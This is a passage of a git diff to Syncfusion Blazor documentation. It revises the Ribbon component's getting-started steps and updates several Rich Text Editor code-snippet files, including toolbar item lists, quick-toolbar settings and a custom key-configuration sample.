-To add the **Blazor Ribbon** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Ribbon](https://www.nuget.org/packages/Syncfusion.Blazor.Ribbon/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Ribbon](https://www.nuget.org/packages/Syncfusion.Blazor.Ribbon/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Ribbon -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Ribbon -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
-
-{% endtabcontents %}
+## Add import namespaces
 
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Ribbon` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Ribbon` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -173,17 +129,17 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Ribbon component
 
@@ -194,7 +150,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Ribbon component
 In Ribbon component, options are organized into tabs for easy access. You can use the [RibbonTabs](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ribbon.RibbonTabs.html) tag directive to group all the tabs and [RibbonTab](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ribbon.RibbonTab.html) tag directive to define each ribbon tab as shown below:
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfRibbon>
     <RibbonTabs>
@@ -210,7 +166,7 @@ In Ribbon component, options are organized into tabs for easy access. You can us
 To define a ribbon group under each tab, you can use the [RibbonGroups](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ribbon.RibbonGroups.html) tag directive like below. The [Orientation](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ribbon.RibbonGroup.html#Syncfusion_Blazor_Ribbon_RibbonGroup_Orientation) property of ribbon group defines whether the collection of items inside the group will be rendered column-wise or row-wise.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfRibbon>
     <RibbonTabs>
@@ -230,7 +186,7 @@ To define a ribbon group under each tab, you can use the [RibbonGroups](https://
 You can use the [RibbonCollection](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ribbon.RibbonCollection.html) tag directive to define each ribbon collection that contains one or more items. To define each ribbon item, you can use the [RibbonItem](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ribbon.RibbonItem.html) tag directive with the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ribbon.RibbonGroup.html#Syncfusion_Blazor_Ribbon_RibbonGroup_Orientation) property to specify the type of item to be rendered, using the [RibbonItemType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ribbon.RibbonGroup.html#Syncfusion_Blazor_Ribbon_RibbonGroup_Orientation) such as Button, a DropDown, a ComboBox, and more.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Ribbon;
 @using Syncfusion.Blazor.SplitButtons;
@@ -280,6 +236,6 @@ You can use the [RibbonCollection](https://help.syncfusion.com/cr/blazor/Syncfus
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZrJCLsRVGKvCOVj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Ribbon Component](./images/getting-started.webp)" %}
-
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to run the application. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Ribbon component will be rendered in the default web browser.
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZrJCLsRVGKvCOVj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Ribbon Component](./images/getting-started.webp)" %}
\ No newline at end of file
diff --git a/blazor/rich-text-editor/accessibility.md b/blazor/rich-text-editor/accessibility.md
index e1c4d2623f..33095445ef 100644
--- a/blazor/rich-text-editor/accessibility.md
+++ b/blazor/rich-text-editor/accessibility.md
@@ -81,20 +81,6 @@ The Blazor Rich Text Editor component's accessibility is validated using the [ax
 
 The accessibility compliance of the Rich Text Editor component is demonstrated in the following sample. Open the [sample](https://blazor.syncfusion.com/accessibility/rich-text-editor) in a new window to evaluate the component with accessibility tools.
 
-### Custom key configuration
-
-You can customize the key configurations for keyboard interactions in the Rich Text Editor using the [KeyConfigure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_KeyConfigure) property.
-
-In the following example, the bold and italic actions are customized to use **Ctrl+1** and **Ctrl+2**, respectively.
-
-{% tabs %}
-{% highlight cshtml %}
-
-{% include_relative code-snippet/custom-key-config.razor %}
-
-{% endhighlight %}
-{% endtabs %}
-
 N> You can explore the [Blazor Rich Text Editor feature tour page](https://www.syncfusion.com/blazor-components/blazor-wysiwyg-rich-text-editor) to see its capabilities. You can also refer to the [Blazor Rich Text Editor demo](https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=bootstrap5) to learn how to render and configure the component and its tools.
 
 ## See also
diff --git a/blazor/rich-text-editor/code-snippet/clear-undo-redo.razor b/blazor/rich-text-editor/code-snippet/clear-undo-redo.razor
index 4495d838ec..2ffe9730fa 100644
--- a/blazor/rich-text-editor/code-snippet/clear-undo-redo.razor
+++ b/blazor/rich-text-editor/code-snippet/clear-undo-redo.razor
@@ -1,6 +1,7 @@
 @using Syncfusion.Blazor.RichTextEditor
+@using Syncfusion.Blazor.Buttons
 
-<SfRichTextEditor  @ref="rteInstance">
+<SfRichTextEditor @ref="rteInstance">
     <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
     <p><b> Key features:</b></p>
     <ul>
diff --git a/blazor/rich-text-editor/code-snippet/custom-audio-quick-toolbar.razor b/blazor/rich-text-editor/code-snippet/custom-audio-quick-toolbar.razor
index 6b53e8722e..aff339cad0 100644
--- a/blazor/rich-text-editor/code-snippet/custom-audio-quick-toolbar.razor
+++ b/blazor/rich-text-editor/code-snippet/custom-audio-quick-toolbar.razor
@@ -1,17 +1,16 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Tools" />
     <RichTextEditorQuickToolbarSettings Audio="AudioQuickToolbarItems" />
     <p><b>Get started with Quick Toolbar to click on an audio</b></p>
     <p>Using the quick toolbar, users can replace, display, and delete the selected audio.</p>
-    
 </SfRichTextEditor>
 
 @code {
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.Audio },
+        new ToolbarItemModel() { Command = ToolbarCommand.Audio }
     };
     private List<AudioToolbarItemModel> AudioQuickToolbarItems = new List<AudioToolbarItemModel>()
     {
diff --git a/blazor/rich-text-editor/code-snippet/custom-image-quick-toolbar.razor b/blazor/rich-text-editor/code-snippet/custom-image-quick-toolbar.razor
index 75164c0b35..f0c1d42de6 100644
--- a/blazor/rich-text-editor/code-snippet/custom-image-quick-toolbar.razor
+++ b/blazor/rich-text-editor/code-snippet/custom-image-quick-toolbar.razor
@@ -1,6 +1,7 @@
 @using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
+    <RichTextEditorToolbarSettings Items="@Tools" />
     <RichTextEditorQuickToolbarSettings Image="@Image" />
     <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
     <p><b>Get started Quick Toolbar to click on the image</b></p>
@@ -9,16 +10,22 @@
 </SfRichTextEditor>
 
 @code {
+    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.Image }
+    };
     private List<ImageToolbarItemModel> Image = new List<ImageToolbarItemModel>()
     {
         new ImageToolbarItemModel() { Command = ImageToolbarCommand.Replace },
         new ImageToolbarItemModel() { Command = ImageToolbarCommand.Align },
         new ImageToolbarItemModel() { Command = ImageToolbarCommand.Caption },
         new ImageToolbarItemModel() { Command = ImageToolbarCommand.Remove },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.OpenImageLink },
         new ImageToolbarItemModel() { Command = ImageToolbarCommand.Separator },
+        new ImageToolbarItemModel() { Command = ImageToolbarCommand.InsertLink },
+        new ImageToolbarItemModel() { Command = ImageToolbarCommand.OpenImageLink },
         new ImageToolbarItemModel() { Command = ImageToolbarCommand.EditImageLink },
         new ImageToolbarItemModel() { Command = ImageToolbarCommand.RemoveImageLink },
+        new ImageToolbarItemModel() { Command = ImageToolbarCommand.HorizontalSeparator },
         new ImageToolbarItemModel() { Command = ImageToolbarCommand.Display },
         new ImageToolbarItemModel() { Command = ImageToolbarCommand.AltText },
         new ImageToolbarItemModel() { Command = ImageToolbarCommand.Dimension }
diff --git a/blazor/rich-text-editor/code-snippet/custom-key-config.razor b/blazor/rich-text-editor/code-snippet/custom-key-config.razor
deleted file mode 100644
index e54d0c6e0c..0000000000
--- a/blazor/rich-text-editor/code-snippet/custom-key-config.razor
+++ /dev/null
@@ -1,23 +0,0 @@
-@using Syncfusion.Blazor.RichTextEditor
-
-<SfRichTextEditor KeyConfigure="@KeyConfig">
-    <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
-    <p><b> Key features:</b></p>
-    <ul>
-    <li><p> Provides <b>IFRAME</b> and <b>DIV</b> modes </p></li>
-    <li><p> Capable of handling markdown editing.</p></li>
-    <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-    <li><p> Provides a fully customizable toolbar.</p></li>
-    <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-    <li><p> Supports third - party library integration.</p></li>
-    <li><p> Allows preview of modified content before saving it.</p></li>
-    </ul>
-</SfRichTextEditor>
-
-@code {
-    private ShortcutKeys KeyConfig = new ShortcutKeys()
-    {
-        Bold = "ctrl+1",
-        Italic = "ctrl+2"
-    };
-}
diff --git a/blazor/rich-text-editor/code-snippet/custom-link-quick-toolbar.razor b/blazor/rich-text-editor/code-snippet/custom-link-quick-toolbar.razor
index 0591c44e38..f74f132ef1 100644
--- a/blazor/rich-text-editor/code-snippet/custom-link-quick-toolbar.razor
+++ b/blazor/rich-text-editor/code-snippet/custom-link-quick-toolbar.razor
@@ -1,14 +1,17 @@
 @using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
+    <RichTextEditorToolbarSettings Items="@Tools" />
     <RichTextEditorQuickToolbarSettings Link="@Link" />
-    <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
-    <p><b>Get started Quick Toolbar to click on the link</b></p>
-    <p>It is possible to add custom style on the selected link inside the Rich Text Editor through quick toolbar.</p>
-    <img alt='Logo' style='width: 150px; height: 150px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />
+    <h2>Welcome to the Syncfusion Rich Text Editor</h2><p>The Rich Text Editor, a WYSIWYG (what you see is what you get) editor, is a user interface that allows you to create, edit, and format rich text content. You can try out a demo of this editor here.</p><h3>Do you know the key features of the editor?</h3>
+    <ul><li>Basic features include headings, block quotes, numbered lists, bullet lists, and support to insert images, tables, audio, and video.</li> <li>Inline styles include <b>bold</b>, <em>italic</em>, <span style="text-decoration: underline">underline</span>, <span style="text-decoration: line-through">strikethrough</span>, <a class="e-rte-anchor" href="https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=material3" title="https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=material3" aria-label="Open in new window">hyperlinks</a>,<code>InlineCode</code> and more.</li></ul>
 </SfRichTextEditor>
 
 @code {
+    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink }
+    };
     private List<LinkToolbarItemModel> Link = new List<LinkToolbarItemModel>()
     {
         new LinkToolbarItemModel() { Command = LinkToolbarCommand.Open },
diff --git a/blazor/rich-text-editor/code-snippet/custom-table-quick-toolbar.razor b/blazor/rich-text-editor/code-snippet/custom-table-quick-toolbar.razor
index 66f39f03c5..1757b618b5 100644
--- a/blazor/rich-text-editor/code-snippet/custom-table-quick-toolbar.razor
+++ b/blazor/rich-text-editor/code-snippet/custom-table-quick-toolbar.razor
@@ -6,19 +6,33 @@
     <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
     <p><b>Get started Quick Toolbar to click on the Table</b></p>
     <p>It is possible to add custom style on the selected table inside the Rich Text Editor through quick toolbar.</p>
-    
+    <table class="e-rte-table" style="width: 37.3885%; min-width: 0px;">
+        <colgroup>
+            <col style="width: 30.6985%;">
+            <col style="width: 69.3015%;">
+        </colgroup>
+        <tbody>
+            <tr>
+                <td>Bulleted List</td>
+                <td>Start a line with <code>*</code> or <code>-</code> followed by a space</td>
+            </tr>
+            <tr>
+                <td>Numbered List</td>
+                <td>Start a line with <code>1.</code> or <code>i.</code> followed by a space</td>
+            </tr>
+        </tbody>
+    </table>
 </SfRichTextEditor>
 
 @code {
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable }
     };
     private List<TableToolbarItemModel> TableQuickToolbarItems = new List<TableToolbarItemModel>()
     {
         new TableToolbarItemModel() { Command = TableToolbarCommand.TableHeader },
         new TableToolbarItemModel() { Command = TableToolbarCommand.TableRemove },
-        new TableToolbarItemModel() { Command = TableToolbarCommand.Separator },
         new TableToolbarItemModel() { Command = TableToolbarCommand.TableRows },
         new TableToolbarItemModel() { Command = TableToolbarCommand.TableColumns },
         new TableToolbarItemModel() { Command = TableToolbarCommand.TableCell },
@@ -26,6 +40,8 @@
         new TableToolbarItemModel() { Command = TableToolbarCommand.Styles },
         new TableToolbarItemModel() { Command = TableToolbarCommand.BackgroundColor },
         new TableToolbarItemModel() { Command = TableToolbarCommand.Alignments },
-        new TableToolbarItemModel() { Command = TableToolbarCommand.TableCellVerticalAlign }
+        new TableToolbarItemModel() { Command = TableToolbarCommand.TableCellVerticalAlign },
+        new TableToolbarItemModel() { Command = TableToolbarCommand.HorizontalSeparator },
+        new TableToolbarItemModel() { Command = TableToolbarCommand.TableEditProperties }
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/code-snippet/custom-video-quick-toolbar.razor b/blazor/rich-text-editor/code-snippet/custom-video-quick-toolbar.razor
index 08dd37fa4a..94a1573f8f 100644
--- a/blazor/rich-text-editor/code-snippet/custom-video-quick-toolbar.razor
+++ b/blazor/rich-text-editor/code-snippet/custom-video-quick-toolbar.razor
@@ -1,17 +1,16 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Tools" />
     <RichTextEditorQuickToolbarSettings Video="VideoQuickToolbarItems" />
     <p><b>Get started with Quick Toolbar to click on a video</b></p>
     <p>Using the quick toolbar, users can replace, align, display, dimension, and delete the selected video.</p>
-    
 </SfRichTextEditor>
 
 @code {
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.Video },
+        new ToolbarItemModel() { Command = ToolbarCommand.Video }
     };
     private List<VideoToolbarItemModel> VideoQuickToolbarItems = new List<VideoToolbarItemModel>()
     {
@@ -20,6 +19,7 @@
         new VideoToolbarItemModel() { Command = VideoToolbarCommand.VideoLayoutOption },
         new VideoToolbarItemModel() { Command = VideoToolbarCommand.Separator },
         new VideoToolbarItemModel() { Command = VideoToolbarCommand.VideoAlign},
+        new VideoToolbarItemModel() { Command = VideoToolbarCommand.HorizontalSeparator },
         new VideoToolbarItemModel() { Command = VideoToolbarCommand.VideoDimension}
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/code-snippet/enter-key-customization.razor b/blazor/rich-text-editor/code-snippet/enter-key-customization.razor
index b822a9eb45..077835bb63 100644
--- a/blazor/rich-text-editor/code-snippet/enter-key-customization.razor
+++ b/blazor/rich-text-editor/code-snippet/enter-key-customization.razor
@@ -1,5 +1,13 @@
 @using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor EnterKey="EnterKeyTag.DIV">
-    <div>In Rich text Editor, the <kbd>Enter</kbd> key and <kbd>Shift</kbd> + <kbd>Enter</kbd> key actions can be customized using the EnterKey and ShiftEnterKey properties.</div>
-</SfRichTextEditor>
\ No newline at end of file
+    <RichTextEditorToolbarSettings Items="Items"></RichTextEditorToolbarSettings>
+    <p>In Rich Text Editor, the Enter key behavior can be customized using the <code>EnterKey</code> property.The possible tags are <code>&lt;p&gt;</code>, <code>&lt;div&gt;</code>, and <code>&lt;br&gt;</code>.This sample is configured with <code>EnterKey</code> set to <b>DIV</b>.</p>
+</SfRichTextEditor>
+
+@code {
+    private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode }
+    };
+}
diff --git a/blazor/rich-text-editor/code-snippet/expand-toolbar.razor b/blazor/rich-text-editor/code-snippet/expand-toolbar.razor
index 514e063f6d..d67337b312 100644
--- a/blazor/rich-text-editor/code-snippet/expand-toolbar.razor
+++ b/blazor/rich-text-editor/code-snippet/expand-toolbar.razor
@@ -8,28 +8,56 @@
 @code{ 
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>() 
     { 
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.FontColor }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Outdent }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Indent }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Image }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo } 
+        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
+        new ToolbarItemModel() { Command = ToolbarCommand.Redo },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.ImportWord },
+        new ToolbarItemModel() { Command = ToolbarCommand.ExportWord },
+        new ToolbarItemModel() { Command = ToolbarCommand.ExportPdf },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
+        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
+        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
+        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
+        new ToolbarItemModel() { Command = ToolbarCommand.InlineCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
+        new ToolbarItemModel() { Command = ToolbarCommand.Image },
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
+        new ToolbarItemModel() { Command = ToolbarCommand.CodeBlock },
+        new ToolbarItemModel() { Command = ToolbarCommand.HorizontalLine },
+        new ToolbarItemModel() { Command = ToolbarCommand.Blockquote },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.LineHeight },
+        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
+        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.BulletFormatList },
+        new ToolbarItemModel() { Command = ToolbarCommand.NumberFormatList },
+        new ToolbarItemModel() { Command = ToolbarCommand.Checklist },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Outdent },
+        new ToolbarItemModel() { Command = ToolbarCommand.Indent },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontColor },
+        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontName },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontSize },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.LowerCase },
+        new ToolbarItemModel() { Command = ToolbarCommand.UpperCase },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
+        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.Video },
+        new ToolbarItemModel() { Command = ToolbarCommand.Audio },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.FormatPainter },
+        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat },
+        new ToolbarItemModel() {Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.Print },
+        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen }
     }; 
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/code-snippet/inline-mode.razor b/blazor/rich-text-editor/code-snippet/inline-mode.razor
index 6cf14ba420..05844f8ace 100644
--- a/blazor/rich-text-editor/code-snippet/inline-mode.razor
+++ b/blazor/rich-text-editor/code-snippet/inline-mode.razor
@@ -1,7 +1,7 @@
 @using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
-    <RichTextEditorInlineMode Enable="true" ShowOnSelection="false" />
+    <RichTextEditorInlineMode Enable="true" />
     <p>
         The sample is configured with inline mode of editor. Initially, the editor is rendered without a
         <a href='https://blazor.syncfusion.com/home/' target='_blank'>toolbar</a>. The toolbar becomes visible only when the content is selected.
diff --git a/blazor/rich-text-editor/code-snippet/keyboard-support.razor b/blazor/rich-text-editor/code-snippet/keyboard-support.razor
new file mode 100644
index 0000000000..9c207fd86a
--- /dev/null
+++ b/blazor/rich-text-editor/code-snippet/keyboard-support.razor
@@ -0,0 +1,26 @@
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor KeyConfigure="@KeyConfig">
+    <RichTextEditorToolbarSettings Items="Items"></RichTextEditorToolbarSettings>
+    <h5>Blazor Rich Text Editor Custom Key Configuration</h5>
+    <p>Customize the key configuration for keyboard interaction in the Rich Text Editor using the <b>KeyConfigure</b> property.</p>
+    <ul>
+        <li>Allows defining custom keyboard shortcuts for formatting actions.</li>
+        <li>Press <b>Ctrl + 1</b> to apply bold formatting.</li>
+        <li>Press <b>Ctrl + 2</b> to apply italic formatting.</li>
+    </ul>
+</SfRichTextEditor>
+
+@code {
+    private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
+        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
+        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode }
+    };
+    private ShortcutKeys KeyConfig = new ShortcutKeys()
+    {
+        Bold = "ctrl+1",
+        Italic = "ctrl+2"
+    };
+}
\ No newline at end of file
diff --git a/blazor/rich-text-editor/code-snippet/mail-merge.razor b/blazor/rich-text-editor/code-snippet/mail-merge.razor
index 6bb25d652e..b2c21c9602 100644
--- a/blazor/rich-text-editor/code-snippet/mail-merge.razor
+++ b/blazor/rich-text-editor/code-snippet/mail-merge.razor
@@ -2,11 +2,11 @@
 @using Syncfusion.Blazor.Buttons
 @using Syncfusion.Blazor.SplitButtons
 @using Syncfusion.Blazor.DropDowns
-@using System.Text.RegularExpressions;
+@using System.Text.RegularExpressions
